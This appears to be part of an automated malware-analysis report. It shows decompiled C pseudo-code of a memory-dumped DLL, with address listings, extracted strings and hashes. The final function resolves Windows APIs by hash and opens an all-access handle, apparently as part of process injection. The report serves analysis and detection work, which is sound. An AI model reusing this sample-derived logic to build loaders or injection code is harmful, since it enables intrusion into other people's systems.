									_t382 = _a4;
									_t203 = 0;
									__eflags = 0;
									 *_t382 = 0;
									 *((intOrPtr*)(_t382 + 4)) = 0;
									L158:
									__eflags =  *_t284;
									if( *_t284 == 0) {
										goto L191;
									} else {
										_t349 = _t284 & 0x0000000f;
										__eflags = _t349;
										if(_t349 == 0) {
											L163:
											asm("pxor xmm0, xmm0");
											_t414 =  ~( ~_t349 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											__eflags = _t414;
											while(1) {
												asm("movdqu xmm1, [ebx+edx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb eax, xmm1");
												__eflags = _t203;
												if(_t203 != 0) {
													break;
												}
												_t349 = _t349 + 0x10;
												__eflags = _t349 - _t414;
												if(_t349 < _t414) {
													continue;
												} else {
													__eflags = _t414 - 0x7fffffff;
													if(_t414 >= 0x7fffffff) {
														L169:
														_t414 = 0x7fffffff;
													} else {
														while(1) {
															__eflags =  *((char*)(_t414 + _t284));
															if( *((char*)(_t414 + _t284)) == 0) {
																goto L170;
															}
															_t414 = _t414 + 1;
															__eflags = _t414 - 0x7fffffff;
															if(_t414 < 0x7fffffff) {
																continue;
															} else {
																goto L169;
															}
															goto L170;
														}
													}
												}
												goto L170;
											}
											asm("bsf esi, eax");
											_t414 = _t414 + _t349;
										} else {
											_t414 = 0;
											_t349 =  ~_t349 + 0x10;
											__eflags = _t349;
											while(1) {
												__eflags =  *((char*)(_t414 + _t284));
												if( *((char*)(_t414 + _t284)) == 0) {
													goto L170;
												}
												_t414 = _t414 + 1;
												__eflags = _t414 - _t349;
												if(_t414 < _t349) {
													continue;
												} else {
													goto L163;
												}
												goto L170;
											}
										}
										L170:
										_t149 = _t414 + 1; // 0x80000000
										_t350 = _t149;
										__eflags = _t350 - 0x40;
										_t351 =  <=  ? 0x40 : _t350;
										__eflags = _t351;
										if(_t351 > 0) {
											_t396 = (_t351 >> 5 >> 0x1a) + _t351 >> 6;
											_t352 = _t351 & 0x8000003f;
											__eflags = _t352;
											if(_t352 < 0) {
												_t352 = (_t352 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t352;
											}
											__eflags = _t352;
											_t398 = _t396 + (0 | _t352 > 0x00000000) << 6;
											_push(_t398);
											_t353 = E6E661030();
											_t439 = _t439 + 4;
											_t305 =  *_a4;
											__eflags = _t305;
											if(_t305 == 0) {
												 *_t353 = 0;
											} else {
												__eflags = _t353;
												if(_t353 != 0) {
													_t219 =  *_t305;
													 *_t353 = _t219;
													__eflags = _t219;
													if(_t219 != 0) {
														__eflags = 0;
														_v68 = _t414;
														_v44 = _t284;
														_t286 = 0;
														while(1) {
															_t286 = _t286 + 1;
															_t221 =  *((char*)(_t305 + _t286 * 2 - 1));
															 *(_t353 + _t286 * 2 - 1) = _t221;
															__eflags = _t221;
															if(_t221 == 0) {
																break;
															}
															_t222 =  *((char*)(_t305 + _t286 * 2));
															 *(_t353 + _t286 * 2) = _t222;
															__eflags = _t222;
															if(_t222 != 0) {
																continue;
															}
															break;
														}
														_t414 = _v68;
														_t284 = _v44;
													}
												}
												_push(1);
												_push(_t305);
												_v68 = _t353;
												E6E6610B0();
												_t353 = _v68;
												_t439 = _t439 + 8;
											}
											_t216 = _a4;
											_t216[1] = _t398;
											 *_t216 = _t353;
										} else {
											_t353 = 0;
										}
										_t306 = _t284;
										__eflags = _t353;
										if(_t353 != 0) {
											_t399 = 0;
											while(1) {
												_t217 =  *_t306;
												_t399 = _t399 + 1;
												 *_t353 = _t217;
												__eflags = _t414;
												if(_t414 == 0) {
													goto L189;
												}
												__eflags = _t399 - _t414;
												if(_t399 == _t414) {
													 *(_t353 + 1) = 0;
												} else {
													goto L189;
												}
												goto L200;
												L189:
												__eflags = _t217;
												if(_t217 != 0) {
													_t353 = _t353 + 1;
													_t306 = _t306 + 1;
													__eflags = _t306;
													continue;
												}
												goto L200;
											}
										}
									}
								}
							}
						}
					}
					L200:
					_push(1);
					_push(_t284);
					E6E6610B0();
					return _a4;
				} else {
					_t386 = _a4;
					_push(0x40);
					 *_t386 = 0;
					 *((intOrPtr*)(_t386 + 4)) = 0;
					_t300 = E6E661030();
					_t441 = _t439 + 4;
					_t280 =  *_a4;
					if(_t280 == 0) {
						 *_t300 = 0;
					} else {
						if(_t300 != 0) {
							_t387 =  *_t280;
							 *_t300 = _t387;
							if(_t387 != 0) {
								_t388 = 0;
								while(1) {
									_t388 = _t388 + 1;
									_t340 =  *((char*)(_t280 + _t388 * 2 - 1));
									 *((char*)(_t300 + _t388 * 2 - 1)) = _t340;
									if(_t340 == 0) {
										goto L7;
									}
									_t341 =  *((char*)(_t280 + _t388 * 2));
									 *((char*)(_t300 + _t388 * 2)) = _t341;
									if(_t341 != 0) {
										continue;
									}
									goto L7;
								}
							}
						}
						L7:
						_push(1);
						_push(_t280);
						E6E6610B0();
						_t441 = _t441 + 8;
					}
					_t281 = _a4;
					_t281[1] = 0x40;
					 *_t281 = _t300;
					return _t281;
				}
				L225:
			}

0x6e677669
0x6e67766c
0x6e67766e
0x6e677672
0x6e6776e8
0x6e6776ea
0x6e6776ec
0x6e67782b
0x6e67782b
0x6e677832
0x6e677834
0x6e677837
0x6e67783a
0x6e67783d
0x00000000
0x6e677843
0x6e677843
0x00000000
0x6e677843
0x6e6776f2
0x6e6776f2
0x6e6776f5
0x00000000
0x6e6776fb
0x6e6776fd
0x6e6776fd
0x6e677700
0x6e677722
0x6e677726
0x6e677732
0x6e677732
0x6e677738
0x6e67773c
0x6e67773e
0x6e67773e
0x6e677743
0x6e677747
0x6e67774b
0x6e67774d
0x00000000
0x00000000
0x6e677753
0x6e677756
0x6e677758
0x00000000
0x6e67775a
0x6e67775a
0x6e67775e
0x6e677766
0x6e67777c
0x6e67777c
0x6e677768
0x6e677768
0x6e67776a
0x6e67776a
0x6e67776e
0x00000000
0x00000000
0x6e677774
0x6e677775
0x6e67777a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e67777a
0x6e677f0c
0x6e677f0c
0x6e677766
0x00000000
0x6e677758
0x6e677f15
0x6e677f1a
0x6e677702
0x6e677702
0x6e67770c
0x6e677710
0x6e677710
0x6e677713
0x6e677713
0x6e677717
0x00000000
0x00000000
0x6e67771d
0x6e67771e
0x6e677720
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677720
0x6e677f23
0x6e677f23
0x6e677784
0x6e67778d
0x6e677790
0x6e677793
0x6e677796
0x6e677798
0x6e6777b6
0x6e6777b9
0x6e6777b9
0x6e6777be
0x6e6777c6
0x6e6777c6
0x6e6777c6
0x6e6777c7
0x6e6777d3
0x6e6777d6
0x6e6777d7
0x6e6777db
0x6e6777e0
0x6e6777e4
0x6e6777e6
0x6e6777ed
0x6e6777f5
0x6e6777f9
0x6e6777fd
0x6e677800
0x6e677803
0x6e677807
0x6e67780f
0x6e67780f
0x6e677812
0x6e677813
0x6e677815
0x6e677817
0x00000000
0x00000000
0x6e677819
0x6e67781b
0x6e677ee2
0x6e677ee6
0x6e677ee9
0x6e677eed
0x00000000
0x00000000
0x00000000
0x6e677ef1
0x6e677ef1
0x6e677ef4
0x00000000
0x6e677efa
0x00000000
0x6e677efa
0x00000000
0x6e677821
0x6e677821
0x6e677823
0x6e677eff
0x6e677f03
0x6e677f06
0x6e677829
0x6e67780d
0x6e67780e
0x6e67780e
0x00000000
0x6e67780e
0x00000000
0x6e677823
0x6e67779a
0x6e67779a
0x6e67779c
0x6e67779f
0x6e677ecb
0x6e677ecb
0x6e677ece
0x6e677ed0
0x6e677ed2
0x6e677ed5
0x6e677ed7
0x00000000
0x6e677edd
0x00000000
0x6e677edd
0x6e6777a5
0x6e6777a5
0x6e677848
0x6e677848
0x6e677850
0x6e677855
0x6e67785b
0x6e67785b
0x6e67785e
0x6e677862
0x6e677866
0x6e67786a
0x6e67786e
0x6e67786e
0x6e677870
0x6e677870
0x6e677870
0x6e677870
0x6e677870
0x6e677874
0x6e67787a
0x6e67787d
0x6e677880
0x6e677886
0x6e677889
0x6e67788f
0x6e677893
0x6e677895
0x6e6778b5
0x6e6778b9
0x6e6778c8
0x6e6778c8
0x6e6778ce
0x6e6778ce
0x6e6778d3
0x6e6778d7
0x6e6778db
0x6e6778dd
0x00000000
0x00000000
0x6e6778e3
0x6e6778e6
0x6e6778e8
0x00000000
0x6e6778ea
0x6e6778ea
0x6e6778f0
0x6e677904
0x6e677904
0x6e6778f2
0x6e6778f2
0x6e6778f5
0x6e6778f5
0x6e6778f9
0x00000000
0x00000000
0x6e6778fb
0x6e6778fc
0x6e677902
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677902
0x6e6778f5
0x6e6778f0
0x00000000
0x6e6778e8
0x6e677f8f
0x6e677f92
0x6e677897
0x6e677897
0x6e67789b
0x6e67789b
0x6e67789d
0x6e6778a0
0x6e6778a2
0x6e6778a2
0x6e6778a6
0x00000000
0x00000000
0x6e6778ac
0x6e6778ad
0x6e6778af
0x00000000
0x6e6778b1
0x6e6778b1
0x00000000
0x6e6778b1
0x00000000
0x6e6778af
0x6e677f99
0x6e677f99
0x6e677909
0x6e677909
0x6e67790b
0x6e677f88
0x6e677911
0x6e677913
0x6e677913
0x6e677916
0x6e67792a
0x6e67792e
0x6e67793a
0x6e67793a
0x6e677940
0x6e677940
0x6e677945
0x6e677949
0x6e67794d
0x6e67794f
0x00000000
0x00000000
0x6e677955
0x6e677958
0x6e67795a
0x00000000
0x6e67795c
0x6e67795c
0x6e677962
0x6e677973
0x6e677973
0x00000000
0x6e677964
0x6e677964
0x6e677968
0x00000000
0x00000000
0x6e67796a
0x6e67796b
0x6e677971
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677971
0x6e677964
0x6e677962
0x00000000
0x6e67795a
0x6e677f7e
0x6e677f81
0x6e677918
0x6e67791a
0x6e67791c
0x6e67791c
0x6e67791f
0x6e67791f
0x6e677923
0x00000000
0x00000000
0x6e677925
0x6e677926
0x6e677928
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677928
0x6e67791f
0x6e677916
0x6e677978
0x6e677978
0x6e677978
0x6e67797c
0x6e67797e
0x6e6779a4
0x6e6779a7
0x6e6779aa
0x6e6779ae
0x00000000
0x00000000
0x00000000
0x6e677980
0x6e677980
0x6e677982
0x6e677f2c
0x6e677f31
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677988
0x6e677988
0x6e67798b
0x6e67798d
0x6e677992
0x6e677f37
0x6e677f37
0x6e6779b4
0x6e6779be
0x6e6779c1
0x6e6779c5
0x6e6779c5
0x6e6779cb
0x6e6779d3
0x6e6779d3
0x6e6779d3
0x6e6779d6
0x6e6779dd
0x6e6779e0
0x6e6779e4
0x6e6779e5
0x6e6779ea
0x6e6779ee
0x6e6779f1
0x6e6779f3
0x6e677a3a
0x6e6779f5
0x6e6779f5
0x6e6779f9
0x6e6779fb
0x6e6779fd
0x6e677a00
0x6e677a02
0x6e677a04
0x6e677a06
0x6e677a0a
0x6e677a0a
0x6e677a0c
0x6e677a0e
0x6e677a0e
0x6e677a0f
0x6e677a14
0x6e677a18
0x6e677a1a
0x00000000
0x00000000
0x6e677a1c
0x6e677a20
0x6e677a23
0x6e677a25
0x00000000
0x00000000
0x00000000
0x6e677a25
0x6e677a27
0x6e677a27
0x6e677a04
0x6e677a2b
0x6e677a2d
0x6e677a2e
0x6e677a33
0x6e677a33
0x6e677a3d
0x6e677a40
0x6e677a40
0x6e677a42
0x6e677a44
0x6e677a46
0x00000000
0x6e677a46
0x6e677998
0x6e677998
0x6e677a49
0x6e677a49
0x6e677a4b
0x6e677a4d
0x6e677a4d
0x6e677a4f
0x6e677a4f
0x6e677a50
0x6e677a53
0x6e677a57
0x6e677a57
0x6e677a5a
0x00000000
0x00000000
0x6e677a5c
0x6e677a5e
0x6e677a61
0x00000000
0x00000000
0x00000000
0x6e677a61
0x6e677a4f
0x6e677a63
0x6e677a63
0x6e677a65
0x6e677a67
0x6e677a70
0x00000000
0x00000000
0x6e677a69
0x6e677a69
0x6e677a72
0x6e677a72
0x6e677a76
0x6e677a76
0x6e677a78
0x6e677a7c
0x6e677a7f
0x6e677a7f
0x6e677a83
0x6e677a86
0x6e677a88
0x00000000
0x00000000
0x6e677a8a
0x6e677a8a
0x6e677a8e
0x6e677a8f
0x6e677a91
0x00000000
0x00000000
0x00000000
0x6e677a91
0x6e677a93
0x6e677a97
0x6e677a97
0x6e677a9b
0x6e677a9b
0x6e677992
0x6e677982
0x6e67797e
0x6e677889
0x6e677880
0x6e677a9e
0x6e677aa2
0x6e677aa8
0x6e677aaa
0x6e677aac
0x00000000
0x6e677aae
0x6e677aae
0x6e677ab1
0x6e677ac5
0x6e677ac7
0x00000000
0x6e677ac9
0x6e677acb
0x6e677acb
0x6e677ace
0x6e677ae2
0x6e677ae6
0x6e677af2
0x6e677af2
0x6e677af8
0x6e677af8
0x6e677afd
0x6e677b01
0x6e677b05
0x6e677b07
0x00000000
0x00000000
0x6e677b0d
0x6e677b10
0x6e677b12
0x00000000
0x6e677b14
0x6e677b14
0x6e677b1a
0x6e677b2b
0x6e677b2b
0x00000000
0x6e677b1c
0x6e677b1c
0x6e677b20
0x00000000
0x00000000
0x6e677b22
0x6e677b23
0x6e677b29
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677b29
0x6e677b1c
0x6e677b1a
0x00000000
0x6e677b12
0x6e677f74
0x6e677f77
0x6e677ad0
0x6e677ad2
0x6e677ad4
0x6e677ad4
0x6e677ad7
0x6e677ad7
0x6e677adb
0x00000000
0x00000000
0x6e677add
0x6e677ade
0x6e677ae0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677ae0
0x6e677ad7
0x6e677b30
0x6e677b30
0x6e677b32
0x6e677f6d
0x6e677b38
0x6e677b3a
0x6e677b3a
0x6e677b3d
0x6e677b51
0x6e677b55
0x6e677b61
0x6e677b65
0x6e677b65
0x6e677b6a
0x6e677b6a
0x6e677b6f
0x6e677b73
0x6e677b77
0x6e677b79
0x00000000
0x00000000
0x6e677b7f
0x6e677b82
0x6e677b84
0x00000000
0x6e677b86
0x6e677b86
0x6e677b8a
0x6e677b8f
0x6e677b9f
0x6e677b9f
0x00000000
0x6e677b91
0x6e677b91
0x6e677b95
0x00000000
0x00000000
0x6e677b97
0x6e677b98
0x6e677b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677b9d
0x6e677b91
0x6e677b8f
0x00000000
0x6e677b84
0x6e677f5d
0x6e677f5f
0x6e677f62
0x6e677f66
0x6e677b3f
0x6e677b41
0x6e677b43
0x6e677b43
0x6e677b46
0x6e677b46
0x6e677b4a
0x00000000
0x00000000
0x6e677b4c
0x6e677b4d
0x6e677b4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677b4f
0x6e677b46
0x6e677b3d
0x6e677ba4
0x6e677ba4
0x6e677ba4
0x6e677ba8
0x6e677baa
0x6e677bd0
0x6e677bd3
0x6e677bd6
0x6e677bda
0x00000000
0x00000000
0x00000000
0x6e677bac
0x6e677bac
0x6e677bae
0x6e677fa2
0x6e677fa7
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677bb4
0x6e677bb4
0x6e677bb7
0x6e677bb9
0x6e677bbe
0x6e677fa9
0x6e677fa9
0x6e677be0
0x6e677bea
0x6e677bed
0x6e677bf1
0x6e677bf1
0x6e677bf6
0x6e677bfe
0x6e677bfe
0x6e677bfe
0x6e677bff
0x6e677c0b
0x6e677c0e
0x6e677c12
0x6e677c13
0x6e677c17
0x6e677c1c
0x6e677c20
0x6e677c24
0x6e677c27
0x6e677c29
0x6e677c7f
0x6e677c2b
0x6e677c2b
0x6e677c30
0x6e677c32
0x6e677c34
0x6e677c37
0x6e677c39
0x6e677c3b
0x6e677c3d
0x6e677c41
0x6e677c41
0x6e677c43
0x6e677c47
0x6e677c47
0x6e677c48
0x6e677c4d
0x6e677c51
0x6e677c53
0x00000000
0x00000000
0x6e677c55
0x6e677c59
0x6e677c5c
0x6e677c5e
0x00000000
0x00000000
0x00000000
0x6e677c5e
0x6e677c60
0x6e677c64
0x6e677c64
0x6e677c3b
0x6e677c68
0x6e677c6a
0x6e677c6b
0x6e677c6f
0x6e677c74
0x6e677c78
0x6e677c78
0x6e677c82
0x6e677c86
0x6e677c86
0x6e677c88
0x6e677c8a
0x00000000
0x6e677c90
0x6e677c90
0x00000000
0x6e677c90
0x6e677bc4
0x6e677bc4
0x6e677c93
0x6e677c93
0x6e677c95
0x6e677c97
0x6e677c9b
0x6e677c9b
0x6e677c9d
0x6e677c9d
0x6e677c9e
0x6e677ca1
0x6e677ca5
0x6e677ca8
0x00000000
0x00000000
0x6e677caa
0x6e677cac
0x6e677caf
0x00000000
0x00000000
0x00000000
0x6e677caf
0x6e677cb1
0x6e677cb1
0x6e677cb5
0x6e677cb7
0x6e677cb9
0x6e677cc2
0x00000000
0x00000000
0x6e677cbb
0x6e677cbb
0x6e677cc4
0x6e677cc4
0x6e677ccc
0x6e677cd0
0x6e677cd4
0x6e677cd8
0x6e677cd8
0x6e677cdc
0x6e677cdf
0x6e677ce1
0x00000000
0x00000000
0x6e677ce3
0x6e677ce3
0x6e677ce7
0x6e677ce8
0x6e677cea
0x00000000
0x00000000
0x00000000
0x6e677cea
0x6e677cec
0x6e677cf0
0x6e677cf0
0x00000000
0x6e677cb9
0x6e677bbe
0x6e677bae
0x6e677baa
0x00000000
0x00000000
0x00000000
0x6e677ab1
0x00000000
0x6e677ab3
0x6e677ab7
0x6e677ab8
0x6e677ab8
0x00000000
0x6e677f41
0x6e677f45
0x6e677f46
0x6e677f46
0x6e677f4e
0x6e677f53
0x6e677f55
0x6e677e4b
0x6e677e4b
0x6e677e52
0x6e677e54
0x6e677e5a
0x6e677e5c
0x6e677e5e
0x6e677e95
0x6e677e60
0x6e677e60
0x6e677e62
0x6e677e64
0x6e677e67
0x6e677e69
0x6e677e6b
0x6e677e6d
0x6e677e6d
0x6e677e6f
0x6e677e6f
0x6e677e70
0x6e677e75
0x6e677e79
0x6e677e7b
0x00000000
0x00000000
0x6e677e7d
0x6e677e81
0x6e677e84
0x6e677e86
0x00000000
0x00000000
0x00000000
0x6e677e86
0x6e677e6f
0x6e677e6b
0x6e677e88
0x6e677e88
0x6e677e8a
0x6e677e8b
0x6e677e90
0x6e677e90
0x6e677e98
0x6e677e9b
0x6e677e9d
0x00000000
0x6e677cf4
0x6e677cf8
0x6e677cf9
0x6e677cfc
0x6e677cfc
0x6e677d04
0x6e677d04
0x6e677d07
0x6e677d07
0x6e677d09
0x6e677d0b
0x6e677d0e
0x6e677d0e
0x6e677d11
0x00000000
0x6e677d17
0x6e677d19
0x6e677d19
0x6e677d1c
0x6e677d30
0x6e677d34
0x6e677d40
0x6e677d40
0x6e677d46
0x6e677d46
0x6e677d4b
0x6e677d4f
0x6e677d53
0x6e677d55
0x00000000
0x00000000
0x6e677d5b
0x6e677d5e
0x6e677d60
0x00000000
0x6e677d62
0x6e677d62
0x6e677d68
0x6e677d79
0x6e677d79
0x00000000
0x6e677d6a
0x6e677d6a
0x6e677d6e
0x00000000
0x00000000
0x6e677d70
0x6e677d71
0x6e677d77
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677d77
0x6e677d6a
0x6e677d68
0x00000000
0x6e677d60
0x6e677ec1
0x6e677ec4
0x6e677d1e
0x6e677d20
0x6e677d22
0x6e677d22
0x6e677d25
0x6e677d25
0x6e677d29
0x00000000
0x00000000
0x6e677d2b
0x6e677d2c
0x6e677d2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677d2e
0x6e677d25
0x6e677d7e
0x6e677d83
0x6e677d83
0x6e677d86
0x6e677d89
0x6e677d8c
0x6e677d8e
0x6e677da1
0x6e677da4
0x6e677da4
0x6e677daa
0x6e677db2
0x6e677db2
0x6e677db2
0x6e677db5
0x6e677dbc
0x6e677dbf
0x6e677dc5
0x6e677dc7
0x6e677dcd
0x6e677dcf
0x6e677dd1
0x6e677e20
0x6e677dd3
0x6e677dd3
0x6e677dd5
0x6e677dd7
0x6e677dda
0x6e677ddc
0x6e677dde
0x6e677de0
0x6e677de2
0x6e677de5
0x6e677de9
0x6e677deb
0x6e677deb
0x6e677dec
0x6e677df1
0x6e677df5
0x6e677df7
0x00000000
0x00000000
0x6e677df9
0x6e677dfd
0x6e677e00
0x6e677e02
0x00000000
0x00000000
0x00000000
0x6e677e02
0x6e677e04
0x6e677e07
0x6e677e07
0x6e677dde
0x6e677e0b
0x6e677e0d
0x6e677e0e
0x6e677e12
0x6e677e17
0x6e677e1b
0x6e677e1b
0x6e677e23
0x6e677e26
0x6e677e29
0x6e677d90
0x6e677d90
0x6e677d90
0x6e677e2b
0x6e677e2d
0x6e677e2f
0x6e677e31
0x6e677e37
0x6e677e37
0x6e677e3a
0x6e677e3b
0x6e677e3d
0x6e677e3f
0x00000000
0x00000000
0x6e677e41
0x6e677e43
0x6e677ebb
0x00000000
0x00000000
0x00000000
0x00000000
0x6e677e45
0x6e677e45
0x6e677e47
0x6e677e35
0x6e677e36
0x6e677e36
0x00000000
0x6e677e36
0x00000000
0x6e677e47
0x6e677e37
0x6e677e2f
0x6e677d11
0x6e67779f
0x6e677798
0x6e6776f5
0x6e677ea4
0x6e677ea4
0x6e677ea6
0x6e677ea7
0x6e677eb8
0x6e677674
0x6e677674
0x6e677679
0x6e67767b
0x6e67767d
0x6e677685
0x6e677687
0x6e67768d
0x6e677691
0x6e6776c8
0x6e677693
0x6e677695
0x6e677697
0x6e67769a
0x6e67769e
0x6e6776a0
0x6e6776a2
0x6e6776a2
0x6e6776a3
0x6e6776a8
0x6e6776ae
0x00000000
0x00000000
0x6e6776b0
0x6e6776b4
0x6e6776b9
0x00000000
0x00000000
0x00000000
0x6e6776b9
0x6e6776a2
0x6e67769e
0x6e6776bb
0x6e6776bb
0x6e6776bd
0x6e6776be
0x6e6776c3
0x6e6776c3
0x6e6776cb
0x6e6776ce
0x6e6776d5
0x6e6776e0
0x6e6776e0
0x00000000

Strings

@, xrefs: 6E677FA2
w8hn, xrefs: 6E677848
w8hn, xrefs: 6E67787A, 6E6778F2, 6E677A7C, 6E677886, 6E6778C5, 6E67789D

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @$w8hn$w8hn
API String ID: 0-1556842988
Opcode ID: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction ID: 045fb1954da6201315df906713716e77f12cd9e16f12774705feb308d64b00dc
Opcode Fuzzy Hash: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction Fuzzy Hash: D8521A31A083538FEF258EB8C49035A7BD2EB87351F14876DE8A59B3D5DA34E941C782

Uniqueness

Uniqueness Score: -1.00%

Function 6E651570, Relevance: 3.6, Strings: 2, Instructions: 1143
COMMONCrypto

Download Yara Rule

C-Code - Quality: 41%

			E6E651570(signed int __ecx, void* __edx, void* __eflags) {
				char _v44;
				intOrPtr _v48;
				char _v56;
				char _v72;
				char _v80;
				void* _v116;
				char _v124;
				char _v128;
				signed int _v136;
				char _v140;
				char _v144;
				void* _v148;
				char _v152;
				signed int _v156;
				signed int _v160;
				intOrPtr _v164;
				signed int _v168;
				char _v172;
				char _v176;
				void* _v184;
				void* _v188;
				void* _v192;
				char _v196;
				void* _v212;
				char _v216;
				void* _v220;
				char _v224;
				char _v228;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				void* _v252;
				intOrPtr _v276;
				char _v280;
				char _v288;
				void* _v292;
				char _v296;
				void* _v300;
				intOrPtr _v308;
				signed int _v328;
				void* _v348;
				void* _v352;
				char _v356;
				char _v368;
				char _v372;
				void* _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v428;
				char _v432;
				char _v436;
				char _v444;
				char _v448;
				char _v452;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				char _v556;
				char _v560;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				void* _v592;
				void* _v596;
				void* _v600;
				void* _v604;
				intOrPtr _v608;
				void* _v612;
				void* _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				void* _v632;
				void* _v636;
				void* _v640;
				void* _v644;
				void* _v648;
				void* _v668;
				void* _v1676;
				void* _v1684;
				void* _v1692;
				void* _v1708;
				intOrPtr _v1800;
				intOrPtr _v1804;
				intOrPtr _v1808;
				intOrPtr _v1812;
				intOrPtr _v1816;
				void* _v1820;
				void* _v1824;
				void* _v1828;
				void* _v1832;
				void* _v1836;
				void* _v1840;
				void* _v1844;
				void* _v1848;
				void* _v1852;
				void* _v1856;
				void* _v1860;
				void* _v1864;
				void* _v1868;
				void* _v1872;
				void* _v1876;
				void* _v1956;
				void* _v1960;
				void* _v2760;
				void* _v2764;
				void* _v2768;
				void* _v2772;
				void* _v2776;
				intOrPtr _v2820;
				signed int _v2860;
				void* _v2864;
				intOrPtr _v2868;
				intOrPtr _v2872;
				intOrPtr _v2876;
				void* _v2880;
				intOrPtr _v2884;
				void* _v2888;
				void* _v2896;
				void* _v2904;
				intOrPtr _v2908;
				void* _v2912;
				intOrPtr _v2916;
				void* _v2920;
				void* _v2928;
				void* _v2936;
				void* _v2940;
				void* _v2944;
				void* _v2948;
				void* _v2952;
				void* _v2956;
				char _v2960;
				void* _v2964;
				void* _v2968;
				void* _v2976;
				void* _v2984;
				signed int _v2988;
				signed int _v2992;
				void* _v3000;
				void* _v3020;
				void* _v3048;
				void* _v3052;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t313;
				signed int _t317;
				void* _t322;
				signed int _t325;
				signed int _t329;
				void* _t345;
				intOrPtr _t368;
				signed int _t370;
				signed int _t379;
				signed int _t383;
				signed int _t387;
				signed int _t562;
				signed int _t571;
				signed int _t585;
				signed int _t586;
				signed int _t595;
				signed int _t599;
				signed int _t620;
				signed int _t621;
				signed int _t782;
				void* _t800;
				signed int _t803;
				void* _t812;
				signed int _t817;
				signed int _t820;
				signed int _t831;
				void* _t833;
				void* _t834;
				void* _t835;
				void* _t838;

				_t827 = _t831;
				_push(_t800);
				_t833 = (_t831 & 0xffffffe0) - 0xad4;
				_t595 = __ecx;
				_t812 = __edx;
				E6E67B6B0( &_v44,  *((intOrPtr*)(__ecx + 0x1c)));
				_push(0);
				E6E681C80(__ecx,  &_v72, _t800, __edx, _t831, _v48);
				E6E670B10( &_v56);
				if(E6E681F90(_t595,  &_v80, _t831, 0) != 0) {
					_push(0);
					E6E679350( &_v168);
					_push(0);
					E6E679350( &_v156);
					_push(0);
					E6E679350( &_v144);
					__eflags = _t595;
					_t11 = _t595 + 0xc; // 0xc
					_t612 =  ==  ? _t595 : _t11;
					_t313 = E6E67BEA0( ==  ? _t595 : _t11, 0x1d, _t812);
					__eflags = _t313;
					if(_t313 != 0) {
						_push(0x1fffff);
						E6E67EA50(_t595);
					}
					__eflags = _t595;
					_t12 = _t595 + 0xc; // 0xc
					_t802 =  ==  ? _t595 : _t12;
					_push(0);
					_push(0);
					_t803 =  *( ==  ? _t595 : _t12);
					E6E682060(_t595,  &_v228, _t803, _t812);
					 *(_t833 + 0xa78) = 0;
					asm("pxor xmm0, xmm0");
					_v128 = 1;
					asm("movq [esp+0xa90], xmm0");
					 *((intOrPtr*)(_t833 + 0xa90)) = E6E679650(_t812);
					_t317 = E6E6615C0(0x588ab3ea, 0xa65417fb);
					__eflags = _t317;
					if(_t317 == 0) {
						 *(_t833 + 0x40) = 0;
						E6E67BDC0(_t833 + 0xa7c,  *((intOrPtr*)(_t833 + 0xa8c)));
						__eflags =  *(_t833 + 0x40);
						if( *(_t833 + 0x40) == 0) {
							_v124 = 0;
							_v136 = 0;
							_v140 = 0;
							 *((intOrPtr*)(_t833 + 0xa84)) = 0;
							_t782 = E6E6615C0(0x588ab3ea, 0x9cac62c7);
							__eflags = _t782;
							if(_t782 != 0) {
								 *(_t833 + 0x40) =  *(_t833 + 0xa78);
								 *(_t833 + 0x44) = _t782;
								_t322 = E6E679650(_t812);
								_t783 =  *(_t833 + 0x44);
								 *(_t833 + 0x50) = _t803;
								_t803 =  *(_t833 + 0x78);
								_t325 =  *( *(_t833 + 0x44))( *((intOrPtr*)(_t833 + 0x64)), 0xffffffff, _t833 + 0xaa0, 0, _t322,  &_v140,  &_v124, 2, 0, 4);
								__eflags = _t325;
								if(_t325 == 0) {
									goto L11;
								} else {
									__eflags = _v168;
									if(_v168 != 0) {
										goto L53;
									}
									goto L54;
								}
							} else {
								L11:
								 *(_t833 + 0x40) = E6E679640(_t812, 0);
								E6E660C10(_v164,  *(_t833 + 0x44), E6E679650(_t812));
								_t833 = _t833 + 0xc;
								_t329 = E6E6615C0(0x588ab3ea, 0xa8f2638d);
								__eflags = _t329;
								if(_t329 == 0) {
